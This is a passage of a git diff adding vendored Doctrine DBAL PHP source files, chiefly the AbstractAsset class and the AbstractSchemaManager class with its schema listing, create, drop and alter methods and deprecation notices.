getAnsiSQLStringLiteralPattern(string $delimiter): string + { + return $delimiter . '[^' . $delimiter . ']*' . $delimiter; + } +} diff --git a/vendor/doctrine/dbal/src/SQL/Parser/Exception.php b/vendor/doctrine/dbal/src/SQL/Parser/Exception.php new file mode 100644 index 000000000..0c14b3584 --- /dev/null +++ b/vendor/doctrine/dbal/src/SQL/Parser/Exception.php @@ -0,0 +1,11 @@ + Table($tableName)); if you want to rename the table, you have to make sure + */ +abstract class AbstractAsset +{ + /** @var string */ + protected $_name = ''; + + /** + * Namespace of the asset. If none isset the default namespace is assumed. + * + * @var string|null + */ + protected $_namespace; + + /** @var bool */ + protected $_quoted = false; + + /** + * Sets the name of this asset. + * + * @param string $name + * + * @return void + */ + protected function _setName($name) + { + if ($this->isIdentifierQuoted($name)) { + $this->_quoted = true; + $name = $this->trimQuotes($name); + } + + if (strpos($name, '.') !== false) { + $parts = explode('.', $name); + $this->_namespace = $parts[0]; + $name = $parts[1]; + } + + $this->_name = $name; + } + + /** + * Is this asset in the default namespace? + * + * @param string $defaultNamespaceName + * + * @return bool + */ + public function isInDefaultNamespace($defaultNamespaceName) + { + return $this->_namespace === $defaultNamespaceName || $this->_namespace === null; + } + + /** + * Gets the namespace name of this asset. + * + * If NULL is returned this means the default namespace is used. + * + * @return string|null + */ + public function getNamespaceName() + { + return $this->_namespace; + } + + /** + * The shortest name is stripped of the default namespace. All other + * namespaced elements are returned as full-qualified names. + * + * @param string|null $defaultNamespaceName + * + * @return string + */ + public function getShortestName($defaultNamespaceName) + { + $shortestName = $this->getName(); + if ($this->_namespace === $defaultNamespaceName) { + $shortestName = $this->_name; + } + + return strtolower($shortestName); + } + + /** + * The normalized name is full-qualified and lower-cased. Lower-casing is + * actually wrong, but we have to do it to keep our sanity. If you are + * using database objects that only differentiate in the casing (FOO vs + * Foo) then you will NOT be able to use Doctrine Schema abstraction. + * + * Every non-namespaced element is prefixed with the default namespace + * name which is passed as argument to this method. + * + * @deprecated Use {@see getNamespaceName()} and {@see getName()} instead. + * + * @param string $defaultNamespaceName + * + * @return string + */ + public function getFullQualifiedName($defaultNamespaceName) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4814', + 'AbstractAsset::getFullQualifiedName() is deprecated.' + . ' Use AbstractAsset::getNamespaceName() and ::getName() instead.', + ); + + $name = $this->getName(); + if ($this->_namespace === null) { + $name = $defaultNamespaceName . '.' . $name; + } + + return strtolower($name); + } + + /** + * Checks if this asset's name is quoted. + * + * @return bool + */ + public function isQuoted() + { + return $this->_quoted; + } + + /** + * Checks if this identifier is quoted. + * + * @param string $identifier + * + * @return bool + */ + protected function isIdentifierQuoted($identifier) + { + return isset($identifier[0]) && ($identifier[0] === '`' || $identifier[0] === '"' || $identifier[0] === '['); + } + + /** + * Trim quotes from the identifier. + * + * @param string $identifier + * + * @return string + */ + protected function trimQuotes($identifier) + { + return str_replace(['`', '"', '[', ']'], '', $identifier); + } + + /** + * Returns the name of this schema asset. + * + * @return string + */ + public function getName() + { + if ($this->_namespace !== null) { + return $this->_namespace . '.' . $this->_name; + } + + return $this->_name; + } + + /** + * Gets the quoted representation of this asset but only if it was defined with one. Otherwise + * return the plain unquoted value as inserted. + * + * @return string + */ + public function getQuotedName(AbstractPlatform $platform) + { + $keywords = $platform->getReservedKeywordsList(); + $parts = explode('.', $this->getName()); + foreach ($parts as $k => $v) { + $parts[$k] = $this->_quoted || $keywords->isKeyword($v) ? $platform->quoteIdentifier($v) : $v; + } + + return implode('.', $parts); + } + + /** + * Generates an identifier from a list of column names obeying a certain string length. + * + * This is especially important for Oracle, since it does not allow identifiers larger than 30 chars, + * however building idents automatically for foreign keys, composite keys or such can easily create + * very long names. + * + * @param string[] $columnNames + * @param string $prefix + * @param int $maxSize + * + * @return string + */ + protected function _generateIdentifierName($columnNames, $prefix = '', $maxSize = 30) + { + $hash = implode('', array_map(static function ($column): string { + return dechex(crc32($column)); + }, $columnNames)); + + return strtoupper(substr($prefix . '_' . $hash, 0, $maxSize)); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/AbstractSchemaManager.php b/vendor/doctrine/dbal/src/Schema/AbstractSchemaManager.php new file mode 100644 index 000000000..7e1fd93ff --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/AbstractSchemaManager.php @@ -0,0 +1,1800 @@ +_conn = $connection; + $this->_platform = $platform; + } + + /** + * Returns the associated platform. + * + * @deprecated Use {@link Connection::getDatabasePlatform()} instead. + * + * @return T + */ + public function getDatabasePlatform() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5387', + 'AbstractSchemaManager::getDatabasePlatform() is deprecated.' + . ' Use Connection::getDatabasePlatform() instead.', + ); + + return $this->_platform; + } + + /** + * Tries any method on the schema manager. Normally a method throws an + * exception when your DBMS doesn't support it or if an error occurs. + * This method allows you to try and method on your SchemaManager + * instance and will return false if it does not work or is not supported. + * + * + * $result = $sm->tryMethod('dropView', 'view_name'); + * + * + * @deprecated + * + * @return mixed + */ + public function tryMethod() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::tryMethod() is deprecated.', + ); + + $args = func_get_args(); + $method = $args[0]; + unset($args[0]); + $args = array_values($args); + + $callback = [$this, $method]; + assert(is_callable($callback)); + + try { + return call_user_func_array($callback, $args); + } catch (Throwable $e) { + return false; + } + } + + /** + * Lists the available databases for this connection. + * + * @return string[] + * + * @throws Exception + */ + public function listDatabases() + { + $sql = $this->_platform->getListDatabasesSQL(); + + $databases = $this->_conn->fetchAllAssociative($sql); + + return $this->_getPortableDatabasesList($databases); + } + + /** + * Returns a list of all namespaces in the current database. + * + * @deprecated Use {@see listSchemaNames()} instead. + * + * @return string[] + * + * @throws Exception + */ + public function listNamespaceNames() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'AbstractSchemaManager::listNamespaceNames() is deprecated,' + . ' use AbstractSchemaManager::listSchemaNames() instead.', + ); + + $sql = $this->_platform->getListNamespacesSQL(); + + $namespaces = $this->_conn->fetchAllAssociative($sql); + + return $this->getPortableNamespacesList($namespaces); + } + + /** + * Returns a list of the names of all schemata in the current database. + * + * @return list + * + * @throws Exception + */ + public function listSchemaNames(): array + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Lists the available sequences for this connection. + * + * @param string|null $database + * + * @return Sequence[] + * + * @throws Exception + */ + public function listSequences($database = null) + { + if ($database === null) { + $database = $this->getDatabase(__METHOD__); + } else { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5284', + 'Passing $database to AbstractSchemaManager::listSequences() is deprecated.', + ); + } + + $sql = $this->_platform->getListSequencesSQL($database); + + $sequences = $this->_conn->fetchAllAssociative($sql); + + return $this->filterAssetNames($this->_getPortableSequencesList($sequences)); + } + + /** + * Lists the columns for a given table. + * + * In contrast to other libraries and to the old version of Doctrine, + * this column definition does try to contain the 'primary' column for + * the reason that it is not portable across different RDBMS. Use + * {@see listTableIndexes($tableName)} to retrieve the primary key + * of a table. Where a RDBMS specifies more details, these are held + * in the platformDetails array. + * + * @param string $table The name of the table. + * @param string|null $database + * + * @return Column[] + * + * @throws Exception + */ + public function listTableColumns($table, $database = null) + { + if ($database === null) { + $database = $this->getDatabase(__METHOD__); + } else { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5284', + 'Passing $database to AbstractSchemaManager::listTableColumns() is deprecated.', + ); + } + + $sql = $this->_platform->getListTableColumnsSQL($table, $database); + + $tableColumns = $this->_conn->fetchAllAssociative($sql); + + return $this->_getPortableTableColumnList($table, $database, $tableColumns); + } + + /** + * @param string $table + * @param string|null $database + * + * @return Column[] + * + * @throws Exception + */ + protected function doListTableColumns($table, $database = null): array + { + if ($database === null) { + $database = $this->getDatabase(__METHOD__); + } else { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5284', + 'Passing $database to AbstractSchemaManager::doListTableColumns() is deprecated.', + ); + } + + return $this->_getPortableTableColumnList( + $table, + $database, + $this->selectTableColumns($database, $this->normalizeName($table)) + ->fetchAllAssociative(), + ); + } + + /** + * Lists the indexes for a given table returning an array of Index instances. + * + * Keys of the portable indexes list are all lower-cased. + * + * @param string $table The name of the table. + * + * @return Index[] + * + * @throws Exception + */ + public function listTableIndexes($table) + { + $sql = $this->_platform->getListTableIndexesSQL($table, $this->_conn->getDatabase()); + + $tableIndexes = $this->_conn->fetchAllAssociative($sql); + + return $this->_getPortableTableIndexesList($tableIndexes, $table); + } + + /** + * @param string $table + * + * @return Index[] + * + * @throws Exception + */ + protected function doListTableIndexes($table): array + { + $database = $this->getDatabase(__METHOD__); + $table = $this->normalizeName($table); + + return $this->_getPortableTableIndexesList( + $this->selectIndexColumns( + $database, + $table, + )->fetchAllAssociative(), + $table, + ); + } + + /** + * Returns true if all the given tables exist. + * + * The usage of a string $tableNames is deprecated. Pass a one-element array instead. + * + * @param string|string[] $names + * + * @return bool + * + * @throws Exception + */ + public function tablesExist($names) + { + if (is_string($names)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3580', + 'The usage of a string $tableNames in AbstractSchemaManager::tablesExist() is deprecated. ' . + 'Pass a one-element array instead.', + ); + } + + $names = array_map('strtolower', (array) $names); + + return count($names) === count(array_intersect($names, array_map('strtolower', $this->listTableNames()))); + } + + /** + * Returns a list of all tables in the current database. + * + * @return string[] + * + * @throws Exception + */ + public function listTableNames() + { + $sql = $this->_platform->getListTablesSQL(); + + $tables = $this->_conn->fetchAllAssociative($sql); + $tableNames = $this->_getPortableTablesList($tables); + + return $this->filterAssetNames($tableNames); + } + + /** + * @return list + * + * @throws Exception + */ + protected function doListTableNames(): array + { + $database = $this->getDatabase(__METHOD__); + + return $this->filterAssetNames( + $this->_getPortableTablesList( + $this->selectTableNames($database) + ->fetchAllAssociative(), + ), + ); + } + + /** + * Filters asset names if they are configured to return only a subset of all + * the found elements. + * + * @param mixed[] $assetNames + * + * @return mixed[] + */ + protected function filterAssetNames($assetNames) + { + $filter = $this->_conn->getConfiguration()->getSchemaAssetsFilter(); + if ($filter === null) { + return $assetNames; + } + + return array_values(array_filter($assetNames, $filter)); + } + + /** + * Lists the tables for this connection. + * + * @return list
    + * + * @throws Exception + */ + public function listTables() + { + $tableNames = $this->listTableNames(); + + $tables = []; + foreach ($tableNames as $tableName) { + $tables[] = $this->introspectTable($tableName); + } + + return $tables; + } + + /** + * @return list
    + * + * @throws Exception + */ + protected function doListTables(): array + { + $database = $this->getDatabase(__METHOD__); + + $tableColumnsByTable = $this->fetchTableColumnsByTable($database); + $indexColumnsByTable = $this->fetchIndexColumnsByTable($database); + $foreignKeyColumnsByTable = $this->fetchForeignKeyColumnsByTable($database); + $tableOptionsByTable = $this->fetchTableOptionsByTable($database); + + $filter = $this->_conn->getConfiguration()->getSchemaAssetsFilter(); + $tables = []; + + foreach ($tableColumnsByTable as $tableName => $tableColumns) { + if ($filter !== null && ! $filter($tableName)) { + continue; + } + + $tables[] = new Table( + $tableName, + $this->_getPortableTableColumnList($tableName, $database, $tableColumns), + $this->_getPortableTableIndexesList($indexColumnsByTable[$tableName] ?? [], $tableName), + [], + $this->_getPortableTableForeignKeysList($foreignKeyColumnsByTable[$tableName] ?? []), + $tableOptionsByTable[$tableName] ?? [], + ); + } + + return $tables; + } + + /** + * @deprecated Use {@see introspectTable()} instead. + * + * @param string $name + * + * @return Table + * + * @throws Exception + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + $columns = $this->listTableColumns($name); + $foreignKeys = []; + + if ($this->_platform->supportsForeignKeyConstraints()) { + $foreignKeys = $this->listTableForeignKeys($name); + } + + $indexes = $this->listTableIndexes($name); + + return new Table($name, $columns, $indexes, [], $foreignKeys); + } + + /** + * @param string $name + * + * @throws Exception + */ + protected function doListTableDetails($name): Table + { + $database = $this->getDatabase(__METHOD__); + + $normalizedName = $this->normalizeName($name); + + $tableOptionsByTable = $this->fetchTableOptionsByTable($database, $normalizedName); + + if ($this->_platform->supportsForeignKeyConstraints()) { + $foreignKeys = $this->listTableForeignKeys($name); + } else { + $foreignKeys = []; + } + + return new Table( + $name, + $this->listTableColumns($name, $database), + $this->listTableIndexes($name), + [], + $foreignKeys, + $tableOptionsByTable[$normalizedName] ?? [], + ); + } + + /** + * An extension point for those platforms where case sensitivity of the object name depends on whether it's quoted. + * + * Such platforms should convert a possibly quoted name into a value of the corresponding case. + */ + protected function normalizeName(string $name): string + { + $identifier = new Identifier($name); + + return $identifier->getName(); + } + + /** + * Selects names of tables in the specified database. + * + * @throws Exception + * + * @abstract + */ + protected function selectTableNames(string $databaseName): Result + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Selects definitions of table columns in the specified database. If the table name is specified, narrows down + * the selection to this table. + * + * @throws Exception + * + * @abstract + */ + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Selects definitions of index columns in the specified database. If the table name is specified, narrows down + * the selection to this table. + * + * @throws Exception + */ + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Selects definitions of foreign key columns in the specified database. If the table name is specified, + * narrows down the selection to this table. + * + * @throws Exception + */ + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Fetches definitions of table columns in the specified database and returns them grouped by table name. + * + * @return array>> + * + * @throws Exception + */ + protected function fetchTableColumnsByTable(string $databaseName): array + { + return $this->fetchAllAssociativeGrouped($this->selectTableColumns($databaseName)); + } + + /** + * Fetches definitions of index columns in the specified database and returns them grouped by table name. + * + * @return array>> + * + * @throws Exception + */ + protected function fetchIndexColumnsByTable(string $databaseName): array + { + return $this->fetchAllAssociativeGrouped($this->selectIndexColumns($databaseName)); + } + + /** + * Fetches definitions of foreign key columns in the specified database and returns them grouped by table name. + * + * @return array>> + * + * @throws Exception + */ + protected function fetchForeignKeyColumnsByTable(string $databaseName): array + { + if (! $this->_platform->supportsForeignKeyConstraints()) { + return []; + } + + return $this->fetchAllAssociativeGrouped( + $this->selectForeignKeyColumns($databaseName), + ); + } + + /** + * Fetches table options for the tables in the specified database and returns them grouped by table name. + * If the table name is specified, narrows down the selection to this table. + * + * @return array> + * + * @throws Exception + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Introspects the table with the given name. + * + * @throws Exception + */ + public function introspectTable(string $name): Table + { + $table = $this->listTableDetails($name); + + if ($table->getColumns() === []) { + throw SchemaException::tableDoesNotExist($name); + } + + return $table; + } + + /** + * Lists the views this connection has. + * + * @return View[] + * + * @throws Exception + */ + public function listViews() + { + $database = $this->_conn->getDatabase(); + $sql = $this->_platform->getListViewsSQL($database); + $views = $this->_conn->fetchAllAssociative($sql); + + return $this->_getPortableViewsList($views); + } + + /** + * Lists the foreign keys for the given table. + * + * @param string $table The name of the table. + * @param string|null $database + * + * @return ForeignKeyConstraint[] + * + * @throws Exception + */ + public function listTableForeignKeys($table, $database = null) + { + if ($database === null) { + $database = $this->getDatabase(__METHOD__); + } else { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5284', + 'Passing $database to AbstractSchemaManager::listTableForeignKeys() is deprecated.', + ); + } + + $sql = $this->_platform->getListTableForeignKeysSQL($table, $database); + $tableForeignKeys = $this->_conn->fetchAllAssociative($sql); + + return $this->_getPortableTableForeignKeysList($tableForeignKeys); + } + + /** + * @param string $table + * @param string|null $database + * + * @return ForeignKeyConstraint[] + * + * @throws Exception + */ + protected function doListTableForeignKeys($table, $database = null): array + { + if ($database === null) { + $database = $this->getDatabase(__METHOD__); + } else { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5284', + 'Passing $database to AbstractSchemaManager::listTableForeignKeys() is deprecated.', + ); + } + + return $this->_getPortableTableForeignKeysList( + $this->selectForeignKeyColumns( + $database, + $this->normalizeName($table), + )->fetchAllAssociative(), + ); + } + + /* drop*() Methods */ + + /** + * Drops a database. + * + * NOTE: You can not drop the database this SchemaManager is currently connected to. + * + * @param string $database The name of the database to drop. + * + * @return void + * + * @throws Exception + */ + public function dropDatabase($database) + { + $this->_conn->executeStatement( + $this->_platform->getDropDatabaseSQL($database), + ); + } + + /** + * Drops a schema. + * + * @throws Exception + */ + public function dropSchema(string $schemaName): void + { + $this->_conn->executeStatement( + $this->_platform->getDropSchemaSQL($schemaName), + ); + } + + /** + * Drops the given table. + * + * @param string $name The name of the table to drop. + * + * @return void + * + * @throws Exception + */ + public function dropTable($name) + { + $this->_conn->executeStatement( + $this->_platform->getDropTableSQL($name), + ); + } + + /** + * Drops the index from the given table. + * + * @param Index|string $index The name of the index. + * @param Table|string $table The name of the table. + * + * @return void + * + * @throws Exception + */ + public function dropIndex($index, $table) + { + if ($index instanceof Index) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $index as an Index object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $index = $index->getQuotedName($this->_platform); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as an Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this->_platform); + } + + $this->_conn->executeStatement( + $this->_platform->getDropIndexSQL($index, $table), + ); + } + + /** + * Drops the constraint from the given table. + * + * @deprecated Use {@see dropIndex()}, {@see dropForeignKey()} or {@see dropUniqueConstraint()} instead. + * + * @param Table|string $table The name of the table. + * + * @return void + * + * @throws Exception + */ + public function dropConstraint(Constraint $constraint, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this->_platform); + } + + $this->_conn->executeStatement($this->_platform->getDropConstraintSQL( + $constraint->getQuotedName($this->_platform), + $table, + )); + } + + /** + * Drops a foreign key from a table. + * + * @param ForeignKeyConstraint|string $foreignKey The name of the foreign key. + * @param Table|string $table The name of the table with the foreign key. + * + * @return void + * + * @throws Exception + */ + public function dropForeignKey($foreignKey, $table) + { + if ($foreignKey instanceof ForeignKeyConstraint) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $foreignKey as a ForeignKeyConstraint object to %s is deprecated.' + . ' Pass it as a quoted name instead.', + __METHOD__, + ); + + $foreignKey = $foreignKey->getQuotedName($this->_platform); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this->_platform); + } + + $this->_conn->executeStatement( + $this->_platform->getDropForeignKeySQL($foreignKey, $table), + ); + } + + /** + * Drops a sequence with a given name. + * + * @param string $name The name of the sequence to drop. + * + * @return void + * + * @throws Exception + */ + public function dropSequence($name) + { + $this->_conn->executeStatement( + $this->_platform->getDropSequenceSQL($name), + ); + } + + /** + * Drops the unique constraint from the given table. + * + * @throws Exception + */ + public function dropUniqueConstraint(string $name, string $tableName): void + { + $this->_conn->executeStatement( + $this->_platform->getDropUniqueConstraintSQL($name, $tableName), + ); + } + + /** + * Drops a view. + * + * @param string $name The name of the view. + * + * @return void + * + * @throws Exception + */ + public function dropView($name) + { + $this->_conn->executeStatement( + $this->_platform->getDropViewSQL($name), + ); + } + + /* create*() Methods */ + + /** @throws Exception */ + public function createSchemaObjects(Schema $schema): void + { + $this->_execSql($schema->toSql($this->_platform)); + } + + /** + * Creates a new database. + * + * @param string $database The name of the database to create. + * + * @return void + * + * @throws Exception + */ + public function createDatabase($database) + { + $this->_conn->executeStatement( + $this->_platform->getCreateDatabaseSQL($database), + ); + } + + /** + * Creates a new table. + * + * @return void + * + * @throws Exception + */ + public function createTable(Table $table) + { + $createFlags = AbstractPlatform::CREATE_INDEXES | AbstractPlatform::CREATE_FOREIGNKEYS; + $this->_execSql($this->_platform->getCreateTableSQL($table, $createFlags)); + } + + /** + * Creates a new sequence. + * + * @param Sequence $sequence + * + * @return void + * + * @throws Exception + */ + public function createSequence($sequence) + { + $this->_conn->executeStatement( + $this->_platform->getCreateSequenceSQL($sequence), + ); + } + + /** + * Creates a constraint on a table. + * + * @deprecated Use {@see createIndex()}, {@see createForeignKey()} or {@see createUniqueConstraint()} instead. + * + * @param Table|string $table + * + * @return void + * + * @throws Exception + */ + public function createConstraint(Constraint $constraint, $table) + { + $this->_conn->executeStatement( + $this->_platform->getCreateConstraintSQL($constraint, $table), + ); + } + + /** + * Creates a new index on a table. + * + * @param Table|string $table The name of the table on which the index is to be created. + * + * @return void + * + * @throws Exception + */ + public function createIndex(Index $index, $table) + { + $this->_conn->executeStatement( + $this->_platform->getCreateIndexSQL($index, $table), + ); + } + + /** + * Creates a new foreign key. + * + * @param ForeignKeyConstraint $foreignKey The ForeignKey instance. + * @param Table|string $table The name of the table on which the foreign key is to be created. + * + * @return void + * + * @throws Exception + */ + public function createForeignKey(ForeignKeyConstraint $foreignKey, $table) + { + $this->_conn->executeStatement( + $this->_platform->getCreateForeignKeySQL($foreignKey, $table), + ); + } + + /** + * Creates a unique constraint on a table. + * + * @throws Exception + */ + public function createUniqueConstraint(UniqueConstraint $uniqueConstraint, string $tableName): void + { + $this->_conn->executeStatement( + $this->_platform->getCreateUniqueConstraintSQL($uniqueConstraint, $tableName), + ); + } + + /** + * Creates a new view. + * + * @return void + * + * @throws Exception + */ + public function createView(View $view) + { + $this->_conn->executeStatement( + $this->_platform->getCreateViewSQL( + $view->getQuotedName($this->_platform), + $view->getSql(), + ), + ); + } + + /* dropAndCreate*() Methods */ + + /** @throws Exception */ + public function dropSchemaObjects(Schema $schema): void + { + $this->_execSql($schema->toDropSql($this->_platform)); + } + + /** + * Drops and creates a constraint. + * + * @deprecated Use {@see dropIndex()} and {@see createIndex()}, + * {@see dropForeignKey()} and {@see createForeignKey()} + * or {@see dropUniqueConstraint()} and {@see createUniqueConstraint()} instead. + * + * @see dropConstraint() + * @see createConstraint() + * + * @param Table|string $table + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateConstraint(Constraint $constraint, $table) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateConstraint() is deprecated.' + . ' Use AbstractSchemaManager::dropIndex() and AbstractSchemaManager::createIndex(),' + . ' AbstractSchemaManager::dropForeignKey() and AbstractSchemaManager::createForeignKey()' + . ' or AbstractSchemaManager::dropUniqueConstraint()' + . ' and AbstractSchemaManager::createUniqueConstraint() instead.', + ); + + $this->tryMethod('dropConstraint', $constraint, $table); + $this->createConstraint($constraint, $table); + } + + /** + * Drops and creates a new index on a table. + * + * @deprecated Use {@see dropIndex()} and {@see createIndex()} instead. + * + * @param Table|string $table The name of the table on which the index is to be created. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateIndex(Index $index, $table) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateIndex() is deprecated.' + . ' Use AbstractSchemaManager::dropIndex() and AbstractSchemaManager::createIndex() instead.', + ); + + $this->tryMethod('dropIndex', $index->getQuotedName($this->_platform), $table); + $this->createIndex($index, $table); + } + + /** + * Drops and creates a new foreign key. + * + * @deprecated Use {@see dropForeignKey()} and {@see createForeignKey()} instead. + * + * @param ForeignKeyConstraint $foreignKey An associative array that defines properties + * of the foreign key to be created. + * @param Table|string $table The name of the table on which the foreign key is to be created. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateForeignKey(ForeignKeyConstraint $foreignKey, $table) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateForeignKey() is deprecated.' + . ' Use AbstractSchemaManager::dropForeignKey() and AbstractSchemaManager::createForeignKey() instead.', + ); + + $this->tryMethod('dropForeignKey', $foreignKey, $table); + $this->createForeignKey($foreignKey, $table); + } + + /** + * Drops and create a new sequence. + * + * @deprecated Use {@see dropSequence()} and {@see createSequence()} instead. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateSequence(Sequence $sequence) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateSequence() is deprecated.' + . ' Use AbstractSchemaManager::dropSequence() and AbstractSchemaManager::createSequence() instead.', + ); + + $this->tryMethod('dropSequence', $sequence->getQuotedName($this->_platform)); + $this->createSequence($sequence); + } + + /** + * Drops and creates a new table. + * + * @deprecated Use {@see dropTable()} and {@see createTable()} instead. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateTable(Table $table) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateTable() is deprecated.' + . ' Use AbstractSchemaManager::dropTable() and AbstractSchemaManager::createTable() instead.', + ); + + $this->tryMethod('dropTable', $table->getQuotedName($this->_platform)); + $this->createTable($table); + } + + /** + * Drops and creates a new database. + * + * @deprecated Use {@see dropDatabase()} and {@see createDatabase()} instead. + * + * @param string $database The name of the database to create. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateDatabase($database) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateDatabase() is deprecated.' + . ' Use AbstractSchemaManager::dropDatabase() and AbstractSchemaManager::createDatabase() instead.', + ); + + $this->tryMethod('dropDatabase', $database); + $this->createDatabase($database); + } + + /** + * Drops and creates a new view. + * + * @deprecated Use {@see dropView()} and {@see createView()} instead. + * + * @return void + * + * @throws Exception + */ + public function dropAndCreateView(View $view) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'AbstractSchemaManager::dropAndCreateView() is deprecated.' + . ' Use AbstractSchemaManager::dropView() and AbstractSchemaManager::createView() instead.', + ); + + $this->tryMethod('dropView', $view->getQuotedName($this->_platform)); + $this->createView($view); + } + + /** + * Alters an existing schema. + * + * @throws Exception + */ + public function alterSchema(SchemaDiff $schemaDiff): void + { + $this->_execSql($this->_platform->getAlterSchemaSQL($schemaDiff)); + } + + /** + * Migrates an existing schema to a new schema. + * + * @throws Exception + */ + public function migrateSchema(Schema $toSchema): void + { + $schemaDiff = $this->createComparator() + ->compareSchemas($this->introspectSchema(), $toSchema); + + $this->alterSchema($schemaDiff); + } + + /* alterTable() Methods */ + + /** + * Alters an existing tables schema. + * + * @return void + * + * @throws Exception + */ + public function alterTable(TableDiff $tableDiff) + { + $this->_execSql($this->_platform->getAlterTableSQL($tableDiff)); + } + + /** + * Renames a given table to another name. + * + * @param string $name The current name of the table. + * @param string $newName The new name of the table. + * + * @return void + * + * @throws Exception + */ + public function renameTable($name, $newName) + { + $this->_execSql($this->_platform->getRenameTableSQL($name, $newName)); + } + + /** + * Methods for filtering return values of list*() methods to convert + * the native DBMS data definition to a portable Doctrine definition + */ + + /** + * @param mixed[] $databases + * + * @return string[] + */ + protected function _getPortableDatabasesList($databases) + { + $list = []; + foreach ($databases as $value) { + $list[] = $this->_getPortableDatabaseDefinition($value); + } + + return $list; + } + + /** + * Converts a list of namespace names from the native DBMS data definition to a portable Doctrine definition. + * + * @deprecated Use {@see listSchemaNames()} instead. + * + * @param array> $namespaces The list of namespace names + * in the native DBMS data definition. + * + * @return string[] + */ + protected function getPortableNamespacesList(array $namespaces) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'AbstractSchemaManager::getPortableNamespacesList() is deprecated,' + . ' use AbstractSchemaManager::listSchemaNames() instead.', + ); + + $namespacesList = []; + + foreach ($namespaces as $namespace) { + $namespacesList[] = $this->getPortableNamespaceDefinition($namespace); + } + + return $namespacesList; + } + + /** + * @param mixed $database + * + * @return mixed + */ + protected function _getPortableDatabaseDefinition($database) + { + return $database; + } + + /** + * Converts a namespace definition from the native DBMS data definition to a portable Doctrine definition. + * + * @deprecated Use {@see listSchemaNames()} instead. + * + * @param array $namespace The native DBMS namespace definition. + * + * @return mixed + */ + protected function getPortableNamespaceDefinition(array $namespace) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'AbstractSchemaManager::getPortableNamespaceDefinition() is deprecated,' + . ' use AbstractSchemaManager::listSchemaNames() instead.', + ); + + return $namespace; + } + + /** + * @param mixed[][] $sequences + * + * @return Sequence[] + * + * @throws Exception + */ + protected function _getPortableSequencesList($sequences) + { + $list = []; + + foreach ($sequences as $value) { + $list[] = $this->_getPortableSequenceDefinition($value); + } + + return $list; + } + + /** + * @param mixed[] $sequence + * + * @return Sequence + * + * @throws Exception + */ + protected function _getPortableSequenceDefinition($sequence) + { + throw Exception::notSupported('Sequences'); + } + + /** + * Independent of the database the 